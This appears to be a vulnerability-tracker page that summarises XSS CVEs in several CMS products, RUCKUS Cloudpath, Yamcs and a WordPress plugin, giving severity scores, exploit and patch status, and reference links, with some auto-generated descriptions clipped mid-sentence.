MEDIUM POC This Month

Multiple Cross-Site Scripting (XSS) vulnerabilities in installation of Subrion CMS v.4.2.1 allows a local attacker to execute arbitrary web scripts via a crafted payload injected into the dbhost,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Subrion Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Page Specific Metadata and Smarty data parameters in the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Cms Made Simple
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted script to the SEO - Meta description parameter in the Pages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Quick Cms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in opensolution Quick CMS v.6.7 allows a local attacker to execute arbitrary code via a crafted script to the Languages Menu component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Quick Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in evolution evo v.3.2.3 allows a local attacker to execute arbitrary code via a crafted payload injected uid parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Evolution Cms
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL POC Act Now

A vulnerability in the web-based interface of the RUCKUS Cloudpath product on version 5.12 build 5538 or before to could allow a remote, unauthenticated attacker to execute persistent XSS and CSRF. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS Ruckus Cloudpath Enrollment System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The affected product is vulnerable to a cross-site scripting vulnerability, which could allow an attacker to access the web application to introduce arbitrary Java Script by injecting an XSS payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Java XSS Dexgate
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

An issue in Yamcs 5.8.6 allows attackers to obtain the session cookie via upload of crafted HTML file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Yamcs
NVD
EPSS 1% CVSS 9.6
CRITICAL POC Act Now

Interway a.s WebJET CMS 8.6.896 is vulnerable to Cross Site Scripting (XSS). Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Webjet Cms
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Team Showcase plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tmfshortcode' shortcode in all versions up to, and including, 2.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Team Showcase
NVD VulDB
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39153

Related CWEs

MITRE ATT&CK

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